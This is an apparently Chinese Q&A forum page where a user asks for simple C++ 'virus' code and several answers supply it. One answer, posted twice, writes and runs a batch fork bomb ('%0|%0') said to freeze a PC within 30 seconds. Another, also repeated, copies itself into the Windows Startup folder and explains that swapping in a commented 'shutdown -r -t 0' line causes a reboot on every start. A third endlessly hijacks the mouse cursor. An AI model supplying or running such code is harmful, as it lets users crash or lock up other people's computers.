比较简单的C++病毒代码

想认识下这东西,写个简单的给我

/*亲自验证,不到30秒电脑卡死!运行后做好关机准备*/

/*留下您的赞再拿走,谢谢*/

运行效果如图

/*源代码:*/

//////////////////////////////////////////////////

#include <Windows.h>

#include <iostream>

#include <fstream>

using namespace std;

int main()

{

        char a[9] = "abc.bat";

        ofstream file_out(a);

        file_out<<"%0|%0";

        file_out.close();

        system( a );

        return 0;


}

温馨提示:答案为网友推荐,仅供参考
第1个回答  推荐于2017-12-16
最简单的病毒

#include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{

//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);

system("pause");
}本回答被提问者采纳
第2个回答  2016-01-06
最简单的病毒代码如下: #include "windows.h"
#include "stdio.h"
void main(int argc,char * argv[])
{

//printf("%s\n",argv[i]);
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"",argv[0]);
system(copy); //将这个程序拷到开机启动文件夹下面
//char cmd[]="shutdown -r -t 0";//自动重起
char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!
system(cmd);

system("pause");
}
第3个回答  2019-01-18
/*亲自验证,不到30秒电脑卡死!运行后做好关机准备*/
/*留下您的赞再拿走,谢谢*/
运行效果如图
/*源代码:*/
//////////////////////////////////////////////////
#include <Windows.h>
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
char a[9] = "abc.bat";
ofstream file_out(a);
file_out<<"%0|%0";
file_out.close();
system( a );
return 0;
}
第4个回答  2021-05-01
#include "picture.h" //加入绘图头文件
using namespace std;
int main()
{
int x=1024;
int y=768;
int a,b;
clog<<"我恭喜你中了病毒!"<<endl;
srand(time(0));
while(true)
{
a=rand()%x;
b=rand()%y;
SetCursorPos(a,b);
}
return 0;
}
相似回答